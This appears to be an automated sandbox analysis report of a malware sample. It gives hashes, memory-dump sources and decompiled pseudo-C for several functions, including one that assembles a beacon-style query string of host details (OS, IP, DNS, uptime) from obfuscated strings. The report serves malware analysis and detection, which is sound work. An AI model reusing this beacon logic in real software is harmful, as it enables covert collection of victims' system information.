Opcode Fuzzy Hash: 8d33636ff269e6ce86d80894bdaab384b6ce7b48788419a0a639502d2374b5c3
Instruction Fuzzy Hash: 0041AE37A146049FEB00CF69D98179DBBF1EBC8324F26847EC984E7241CB34A9428B64

Uniqueness

Uniqueness Score: -1.00%

Function 016C1374, Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d8277b9f4298a1d3ba12900e7dac8ef4768870520da76c67005417d05339980
Instruction ID: 488e4bcce7fa6c71a1b6d126a65d5098aee132821b8a93bc167ee8ec2017c73f
Opcode Fuzzy Hash: 0d8277b9f4298a1d3ba12900e7dac8ef4768870520da76c67005417d05339980
Instruction Fuzzy Hash: AA41A172820A05EAEB008F78CD493DA3B71EF41334F2987ACAD389A1D6CB7987559754

Uniqueness

Uniqueness Score: -1.00%

Function 016C596E, Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2686556099046eddf08c3e6d6d73a2f327f139f3c1b56c2a6beaa80eb6dc5f8
Instruction ID: 0b2fee65a59e5a06d1e97ce8591bc717c105db2edcacaff20dfaca45b19011d9
Opcode Fuzzy Hash: b2686556099046eddf08c3e6d6d73a2f327f139f3c1b56c2a6beaa80eb6dc5f8
Instruction Fuzzy Hash: 14416D71510609AFEB048F25CC847EA3B61FF45730F29C35EEC2A8E1D6CB3595618B58

Uniqueness

Uniqueness Score: -1.00%

Function 016C3314, Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 560ed1783c81a9ed7e2fd1c32492ace24397eb239feb1bafd55e9357a7928519
Instruction ID: a6d29f28f582a46dac803166755a401c098c2daa21a833efaeea4f3977cf9c33
Opcode Fuzzy Hash: 560ed1783c81a9ed7e2fd1c32492ace24397eb239feb1bafd55e9357a7928519
Instruction Fuzzy Hash: CB412A72814A08EFEB05CF64C88939A3B71FF40325F24C2AEEC699E1D5CB7893519B54

Uniqueness

Uniqueness Score: -1.00%

Function 016C3BDB, Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e90d8667cab6de1a58197d63df3259f80122070f0e9bf2772476be76fb66c74
Instruction ID: 54b3bf0b66265c5a0dd44be5cae0c387a25b503845b5690b3037282f0a8e45dd
Opcode Fuzzy Hash: 1e90d8667cab6de1a58197d63df3259f80122070f0e9bf2772476be76fb66c74
Instruction Fuzzy Hash: CA417872D11A08ABEB44CF68CAD93DE7B70EF44720F18839EDC39991D5CB3A42508B94

Uniqueness

Uniqueness Score: -1.00%

Function 016C5C76, Relevance: .1, Instructions: 90COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3039bc8be17ad7a7f37636f619efc7371f9b844a2f75de60832d8cc2cecd4126
Instruction ID: ad087d995817b641ebb6027ffa42f372937834f02ecbce2ae35c5784c947a255
Opcode Fuzzy Hash: 3039bc8be17ad7a7f37636f619efc7371f9b844a2f75de60832d8cc2cecd4126
Instruction Fuzzy Hash: 72315972810A19ABEB448E79CD493AE7B21EB41330F14C36DAC75AA1D0DB7886528F94

Uniqueness

Uniqueness Score: -1.00%

Function 016C28EB, Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a5718ba127ba0e3b4e4f799766b4dfa8c1611d40f6bbcbcbe4f2376022bf96d
Instruction ID: 224a69a2f15427bc33bfffbb521190c65cb98c3ff04f1786306f461e0b672747
Opcode Fuzzy Hash: 4a5718ba127ba0e3b4e4f799766b4dfa8c1611d40f6bbcbcbe4f2376022bf96d
Instruction Fuzzy Hash: 09315E72910608DBEB14CF68C9453DD7771FF40730F2983AADC259A1D5C73A8B519B94

Uniqueness

Uniqueness Score: -1.00%

Function 016C554B, Relevance: .1, Instructions: 86COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cda6221f67bc0ccc938790f31a1c3d06f4870972bf281b6cccfc970e4eb09e96
Instruction ID: c2ed17dc3afa22d92265fec4df43c18eae3a6dc5d40178e5e0ace01759458f6c
Opcode Fuzzy Hash: cda6221f67bc0ccc938790f31a1c3d06f4870972bf281b6cccfc970e4eb09e96
Instruction Fuzzy Hash: 0831C832D10A05ABEB048F35CD993DA3761EF84770F14836EAC298D1D6D7B446529B94

Uniqueness

Uniqueness Score: -1.00%

Function 016C52EC, Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6772d07bb20010ae8d900fdf4e033f0ac93e4af5e53587df6f6718c8f3faec43
Instruction ID: 5d727dcf6bf9ff1eb871be4eb679623a216b178c222ff8a0a07b884a2707f3e2
Opcode Fuzzy Hash: 6772d07bb20010ae8d900fdf4e033f0ac93e4af5e53587df6f6718c8f3faec43
Instruction Fuzzy Hash: 72314F32910604ABFB048E39CE493DA3770EF50336F18C36DAC395D1D5DB7856619B58

Uniqueness

Uniqueness Score: -1.00%

Function 10002154, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E10002154(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E100022BB(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E10002375(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E10002260(_t55, _t66);
										_t89 = _t66 + 0x10;
										E100022BB(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E10002357(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x10002158
0x10002159
0x1000215a
0x1000215d
0x1000215f
0x10002162
0x10002163
0x10002165
0x10002166
0x10002167
0x1000216a
0x10002174
0x10002225
0x1000222c
0x10002235
0x1000217a
0x1000217a
0x10002180
0x10002186
0x10002189
0x1000218c
0x10002190
0x10002195
0x1000219a
0x1000221a
0x00000000
0x1000219c
0x1000219c
0x100021a8
0x100021aa
0x10002205
0x10002205
0x1000220b
0x00000000
0x100021ac
0x100021bb
0x100021bd
0x100021be
0x100021bf
0x100021c2
0x100021c2
0x100021c4
0x00000000
0x100021c6
0x100021c6
0x10002210
0x100021c8
0x100021c8
0x100021cc
0x100021d4
0x100021d9
0x100021de
0x100021ea
0x100021f2
0x100021f9
0x100021ff
0x10002203
0x00000000
0x10002203
0x100021c6
0x100021c4
0x00000000
0x100021aa
0x1000221e
0x1000221e
0x1000221e
0x1000219a
0x1000223a
0x10002241

Memory Dump Source

Source File: 00000000.00000002.501295929.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.501284605.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.501314538.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction ID: 9c57574405240a8165450f76d07df83800bb314007ae7cce2d6078ed4837daf0
Opcode Fuzzy Hash: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
Instruction Fuzzy Hash: 6521CB76900204AFD710DFA8CCC09A7F7A5FF49390B468158DD599B249D730FA25CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 0173B11C, Relevance: .1, Instructions: 77
COMMONCrypto

Download Yara Rule

C-Code - Quality: 71%

			E0173B11C(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E0173B287(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E0173B341(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E0173B22C(_t55, _t66);
										_t89 = _t66 + 0x10;
										E0173B287(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E0173B323(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}

0x0173b120
0x0173b121
0x0173b122
0x0173b125
0x0173b127
0x0173b12a
0x0173b12b
0x0173b12d
0x0173b12e
0x0173b12f
0x0173b132
0x0173b13c
0x0173b1ed
0x0173b1f4
0x0173b1fd
0x0173b142
0x0173b142
0x0173b148
0x0173b14e
0x0173b151
0x0173b154
0x0173b158
0x0173b15d
0x0173b162
0x0173b1e2
0x00000000
0x0173b164
0x0173b164
0x0173b170
0x0173b172
0x0173b1cd
0x0173b1cd
0x0173b1d3
0x00000000
0x0173b174
0x0173b183
0x0173b185
0x0173b186
0x0173b187
0x0173b18a
0x0173b18a
0x0173b18c
0x00000000
0x0173b18e
0x0173b18e
0x0173b1d8
0x0173b190
0x0173b190
0x0173b194
0x0173b19c
0x0173b1a1
0x0173b1a6
0x0173b1b2
0x0173b1ba
0x0173b1c1
0x0173b1c7
0x0173b1cb
0x00000000
0x0173b1cb
0x0173b18e
0x0173b18c
0x00000000
0x0173b172
0x0173b1e6
0x0173b1e6
0x0173b1e6
0x0173b162
0x0173b202
0x0173b209

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction ID: 5722ab487aec088a54888d00a9b2e2b14260b001f83de267981805de23b2b49e
Opcode Fuzzy Hash: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
Instruction Fuzzy Hash: 5B21A1329002159FDB14EF68C8849ABFBA5FF88350B4581A8DD55DB246E730FA15CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 016C3FA8, Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.498556237.00000000016C0000.00000040.00000001.sdmp, Offset: 016C0000, based on PE: true

Associated: 00000000.00000002.498572956.00000000016D8000.00000040.00000001.sdmp Download File
Associated: 00000000.00000002.498581027.000000000171D000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6db2e7ad59aed6164d3a801dd9d988d2f0d5b046bba1ded36895bc7511698fec
Instruction ID: 59f6f8c852dbc8f302deb04c4aea0a4b72c6e75abda4304d8ba71e68178ddb4c
Opcode Fuzzy Hash: 6db2e7ad59aed6164d3a801dd9d988d2f0d5b046bba1ded36895bc7511698fec
Instruction Fuzzy Hash: E2318432910609DBEB088F24C9567DA7B70FF40F20F18C65EEC35991D5C7B947219BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0173A279, Relevance: 34.7, APIs: 23, Instructions: 201
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E0173A279(long __eax, void* __ecx, void* __edx, intOrPtr _a4, intOrPtr _a12, void* _a16, void* _a24, intOrPtr _a32) {
				intOrPtr _v0;
				intOrPtr _v4;
				intOrPtr _v16;
				intOrPtr _v24;
				intOrPtr _v28;
				void* _v44;
				intOrPtr _v52;
				void* __edi;
				long _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr _t28;
				intOrPtr _t29;
				intOrPtr _t30;
				void* _t33;
				intOrPtr _t34;
				int _t37;
				intOrPtr _t42;
				intOrPtr _t43;
				intOrPtr _t50;
				intOrPtr _t54;
				intOrPtr* _t56;
				intOrPtr _t62;
				intOrPtr _t68;
				intOrPtr _t71;
				intOrPtr _t74;
				int _t77;
				intOrPtr _t78;
				int _t81;
				intOrPtr _t83;
				int _t86;
				intOrPtr* _t89;
				intOrPtr* _t90;
				void* _t91;
				void* _t95;
				void* _t96;
				void* _t97;
				intOrPtr _t98;
				void* _t100;
				int _t101;
				void* _t102;
				void* _t103;
				void* _t105;
				void* _t106;
				void* _t108;

				_t95 = __edx;
				_t91 = __ecx;
				_t25 = __eax;
				_t105 = _a16;
				_v4 = 8;
				if(__eax == 0) {
					_t25 = GetTickCount();
				}
				_t26 =  *0x173d018; // 0x3429050d
				asm("bswap eax");
				_t27 =  *0x173d014; // 0x3a87c8cd
				asm("bswap eax");
				_t28 =  *0x173d010; // 0xd8d2f808
				asm("bswap eax");
				_t29 =  *0x173d00c; // 0x8f8f86c2
				asm("bswap eax");
				_t30 =  *0x173d27c; // 0x268a5a8
				_t3 = _t30 + 0x173e633; // 0x74666f73
				_t101 = wsprintfA(_t105, _t3, 2, 0x3d14b, _t29, _t28, _t27, _t26,  *0x173d02c,  *0x173d004, _t25);
				_t33 = E01731C1A();
				_t34 =  *0x173d27c; // 0x268a5a8
				_t4 = _t34 + 0x173e673; // 0x74707526
				_t37 = wsprintfA(_t101 + _t105, _t4, _t33);
				_t108 = _t106 + 0x38;
				_t102 = _t101 + _t37;
				_t96 = E017354BC(_t91);
				if(_t96 != 0) {
					_t83 =  *0x173d27c; // 0x268a5a8
					_t6 = _t83 + 0x173e8eb; // 0x736e6426
					_t86 = wsprintfA(_t102 + _t105, _t6, _t96);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t86;
					HeapFree( *0x173d238, 0, _t96);
				}
				_t97 = E01737649();
				if(_t97 != 0) {
					_t78 =  *0x173d27c; // 0x268a5a8
					_t8 = _t78 + 0x173e8f3; // 0x6f687726
					_t81 = wsprintfA(_t102 + _t105, _t8, _t97);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t81;
					HeapFree( *0x173d238, 0, _t97);
				}
				_t98 =  *0x173d32c; // 0x3dc95b0
				_a32 = E01739395(0x173d00a, _t98 + 4);
				_t42 =  *0x173d2cc; // 0x0
				if(_t42 != 0) {
					_t74 =  *0x173d27c; // 0x268a5a8
					_t11 = _t74 + 0x173e8cd; // 0x3d736f26
					_t77 = wsprintfA(_t102 + _t105, _t11, _t42);
					_t108 = _t108 + 0xc;
					_t102 = _t102 + _t77;
				}
				_t43 =  *0x173d2c8; // 0x0
				if(_t43 != 0) {
					_t71 =  *0x173d27c; // 0x268a5a8
					_t13 = _t71 + 0x173e8c6; // 0x3d706926
					wsprintfA(_t102 + _t105, _t13, _t43);
				}
				if(_a32 != 0) {
					_t100 = RtlAllocateHeap( *0x173d238, 0, 0x800);
					if(_t100 != 0) {
						E01737A80(GetTickCount());
						_t50 =  *0x173d32c; // 0x3dc95b0
						__imp__(_t50 + 0x40);
						asm("lock xadd [eax], ecx");
						_t54 =  *0x173d32c; // 0x3dc95b0
						__imp__(_t54 + 0x40);
						_t56 =  *0x173d32c; // 0x3dc95b0
						_t103 = E01738307(1, _t95, _t105,  *_t56);
						asm("lock xadd [eax], ecx");
						if(_t103 != 0) {
							StrTrimA(_t103, 0x173c2ac);
							_push(_t103);
							_t62 = E01733CC8();
							_v16 = _t62;
							if(_t62 != 0) {
								_t89 = __imp__;
								 *_t89(_t103, _v0);
								 *_t89(_t100, _a4);
								_t90 = __imp__;
								 *_t90(_t100, _v28);
								 *_t90(_t100, _t103);
								_t68 = E01731199(0xffffffffffffffff, _t100, _v28, _v24);
								_v52 = _t68;
								if(_t68 != 0 && _t68 != 0x10d2) {
									E0173A1B0();
								}
								HeapFree( *0x173d238, 0, _v44);
							}
							HeapFree( *0x173d238, 0, _t103);
						}
						HeapFree( *0x173d238, 0, _t100);
					}
					HeapFree( *0x173d238, 0, _a24);
				}
				HeapFree( *0x173d238, 0, _t105);
				return _a12;
			}

0x0173a279
0x0173a279
0x0173a279
0x0173a280
0x0173a286
0x0173a28e
0x0173a290
0x0173a290
0x0173a29d
0x0173a2a8
0x0173a2ab
0x0173a2b6
0x0173a2b9
0x0173a2be
0x0173a2c1
0x0173a2c6
0x0173a2c9
0x0173a2d5
0x0173a2e2
0x0173a2e4
0x0173a2ea
0x0173a2ef
0x0173a2fa
0x0173a2fc
0x0173a2ff
0x0173a306
0x0173a30a
0x0173a30c
0x0173a311
0x0173a31d
0x0173a31f
0x0173a32b
0x0173a32d
0x0173a32d
0x0173a338
0x0173a33c
0x0173a33e
0x0173a343
0x0173a34f
0x0173a351
0x0173a35d
0x0173a35f
0x0173a35f
0x0173a365
0x0173a378
0x0173a37c
0x0173a383
0x0173a386
0x0173a38b
0x0173a396
0x0173a398
0x0173a39b
0x0173a39b
0x0173a39d
0x0173a3a4
0x0173a3a7
0x0173a3ac
0x0173a3b6
0x0173a3b8
0x0173a3c0
0x0173a3d9
0x0173a3dd
0x0173a3e9
0x0173a3ee
0x0173a3f7
0x0173a408
0x0173a40c
0x0173a415
0x0173a41b
0x0173a428
0x0173a435
0x0173a43b
0x0173a447
0x0173a44d
0x0173a44e
0x0173a455
0x0173a459
0x0173a45f
0x0173a466
0x0173a46d
0x0173a473
0x0173a47a
0x0173a47e
0x0173a489
0x0173a490
0x0173a494
0x0173a49d
0x0173a49d
0x0173a4ae
0x0173a4ae
0x0173a4bd
0x0173a4bd
0x0173a4cc
0x0173a4cc
0x0173a4de
0x0173a4de
0x0173a4ed
0x0173a4fe

APIs

GetTickCount.KERNEL32 ref: 0173A290
wsprintfA.USER32 ref: 0173A2DD
wsprintfA.USER32 ref: 0173A2FA
wsprintfA.USER32 ref: 0173A31D
HeapFree.KERNEL32(00000000,00000000), ref: 0173A32D
wsprintfA.USER32 ref: 0173A34F
HeapFree.KERNEL32(00000000,00000000), ref: 0173A35F
wsprintfA.USER32 ref: 0173A396
wsprintfA.USER32 ref: 0173A3B6
RtlAllocateHeap.NTDLL(00000000,00000800), ref: 0173A3D3
GetTickCount.KERNEL32 ref: 0173A3E3
RtlEnterCriticalSection.NTDLL(03DC9570), ref: 0173A3F7
RtlLeaveCriticalSection.NTDLL(03DC9570), ref: 0173A415

Part of subcall function 01738307: lstrlen.KERNEL32(00000000,253D7325,00000000,00000000,74ECC740,?,?,0173A428,?,03DC95B0), ref: 01738332
Part of subcall function 01738307: lstrlen.KERNEL32(?,?,?,0173A428,?,03DC95B0), ref: 0173833A
Part of subcall function 01738307: strcpy.NTDLL ref: 01738351
Part of subcall function 01738307: lstrcat.KERNEL32(00000000,?), ref: 0173835C
Part of subcall function 01738307: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,?,0173A428,?,03DC95B0), ref: 01738379

StrTrimA.SHLWAPI(00000000,0173C2AC,?,03DC95B0), ref: 0173A447

Part of subcall function 01733CC8: lstrlen.KERNEL32(03DC9910,00000000,00000000,74ECC740,0173A453,00000000), ref: 01733CD8
Part of subcall function 01733CC8: lstrlen.KERNEL32(?), ref: 01733CE0
Part of subcall function 01733CC8: lstrcpy.KERNEL32(00000000,03DC9910), ref: 01733CF4
Part of subcall function 01733CC8: lstrcat.KERNEL32(00000000,?), ref: 01733CFF

lstrcpy.KERNEL32(00000000,?), ref: 0173A466
lstrcpy.KERNEL32(00000000,00000000), ref: 0173A46D
lstrcat.KERNEL32(00000000,?), ref: 0173A47A
lstrcat.KERNEL32(00000000,00000000), ref: 0173A47E

Part of subcall function 01731199: WaitForSingleObject.KERNEL32(00000000,00000000,00000000,751881D0), ref: 0173124B

HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 0173A4AE
HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0173A4BD
HeapFree.KERNEL32(00000000,00000000,?,03DC95B0), ref: 0173A4CC
HeapFree.KERNEL32(00000000,00000000), ref: 0173A4DE
HeapFree.KERNEL32(00000000,?), ref: 0173A4ED

Memory Dump Source

Source File: 00000000.00000002.498617105.0000000001731000.00000020.00000001.sdmp, Offset: 01730000, based on PE: true

Associated: 00000000.00000002.498592682.0000000001730000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498644538.000000000173C000.00000002.00000001.sdmp Download File
Associated: 00000000.00000002.498664633.000000000173D000.00000004.00000001.sdmp Download File
Associated: 00000000.00000002.498687422.000000000173F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$Free$wsprintf$lstrcatlstrlen$lstrcpy$CountCriticalSectionTickTrim$AllocateEnterLeaveObjectSingleWaitstrcpy
String ID:
API String ID: 3080378247-0
Opcode ID: c1b01b7349955409708c2110a7eb37ee654040702233e38e6fb9ca3c4018ab22
Instruction ID: 727deffee5f7b72e7d587f396fe3f4306b33803e915767c905baf38edcd70d7a
Opcode Fuzzy Hash: c1b01b7349955409708c2110a7eb37ee654040702233e38e6fb9ca3c4018ab22
Instruction Fuzzy Hash: 6D61F271500205EFD7329FA8EC48F5ABBE8EB88732F058015F948D7256DB39E8059B61

Uniqueness

Uniqueness Score: -1.00%

Function 0173816C, Relevance: 13.6, APIs: 9, Instructions: 112
stringCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E0173816C(intOrPtr _a4, WCHAR* _a8, WCHAR* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				intOrPtr _v8;
				intOrPtr _v12;
				long _v16;
				intOrPtr _v20;
				signed int _v24;
				void* __esi;
				long _t43;
				intOrPtr _t44;
				intOrPtr _t46;
				void* _t48;
				void* _t49;
				void* _t50;
				intOrPtr _t54;
				intOrPtr _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				intOrPtr _t66;
				void* _t71;
				void* _t74;
				intOrPtr _t75;
				void* _t77;
				intOrPtr _t79;
				intOrPtr* _t80;
				intOrPtr _t91;

				_t79 =  *0x173d33c; // 0x3dc9bd8
				_v24 = 8;
				_t43 = GetTickCount();
				_push(5);
				_t74 = 0xa;
				_v16 = _t43;
				_t44 = E017370F5(_t74,  &_v16);
				_v8 = _t44;
				if(_t44 == 0) {
					_v8 = 0x173c1ac;
				}
				_t46 = E01738022(_t79);
				_v12 = _t46;
				if(_t46 != 0) {
					_t80 = __imp__;
					_t48 =  *_t80(_v8, _t71);
					_t49 =  *_t80(_v12);
					_t50 =  *_t80(_a4);
					_t54 = E01732049(lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + lstrlenW(_a8) + _t48 + _t48 + _t49 + _t50 + 0x102);
					_v20 = _t54;
					if(_t54 != 0) {
						_t75 =  *0x173d27c; // 0x268a5a8
						_t16 = _t75 + 0x173eb28; // 0x530025
						 *0x173d11c(_t54, _t16, _v8, _v8, _a4, _v12, _a8);
						_push(4);
						_t77 = 5;
						_t57 = E017370F5(_t77,  &_v16);
						_v8 = _t57;
						if(_t57 == 0) {
							_v8 = 0x173c1b0;
						}
						_t58 =  *_t80(_v8);
						_t59 =  *_t80(_v12);
						_t60 =  *_t80(_a4);
						_t91 = E01732049(lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + lstrlenW(_a12) + _t58 + _t58 + _t59 + _t60 + 0x13a);
						if(_t91 == 0) {
							E01739039(_v20);
						} else {
							_t66 =  *0x173d27c; // 0x268a5a8
							_t31 = _t66 + 0x173ec48; // 0x73006d
							 *0x173d11c(_t91, _t31, _v8, _v8, _a4, _v12, _a12);
							 *_a16 = _v20;
							_v24 = _v24 & 0x00000000;
							 *_a20 = _t91;
						}
					}
					E01739039(_v12);
				}
				return _v24;
			}

0x01738174
0x0173817a
0x01738181
0x01738187
0x0173818b
0x0173818f
0x01738192
0x01738199
0x0173819c
0x0173819e
0x0173819e
0x017381a7
0x017381ae
0x017381b1
0x017381b7
0x017381c1
0x017381ca
0x017381d1
0x017381ea
0x017381f1
0x017381f4
0x017381fd
0x01738206
0x01738217
0x01738220
0x01738224
0x01738228
0x0173822f
0x01738232
0x01738234
0x01738234
0x0173823e
0x01738247
0x0173824e
0x01738266
0x0173826a
0x017382a7
0x0173826c
0x0173826f
0x01738277
0x01738288
0x01738294
0x0173829c
0x017382a0
0x017382a0
0x0173826a
0x017382af
0x017382b4
0x017382bb

APIs

GetTickCount.KERNEL32 ref: 01738181
lstrlen.KERNEL32(?,80000002,00000005), ref: 017381C1
lstrlen.KERNEL32(00000000), ref: 017381CA
lstrlen.KERNEL32(00000000), ref: 017381D1
lstrlenW.KERNEL32(80000002), ref: 017381DE
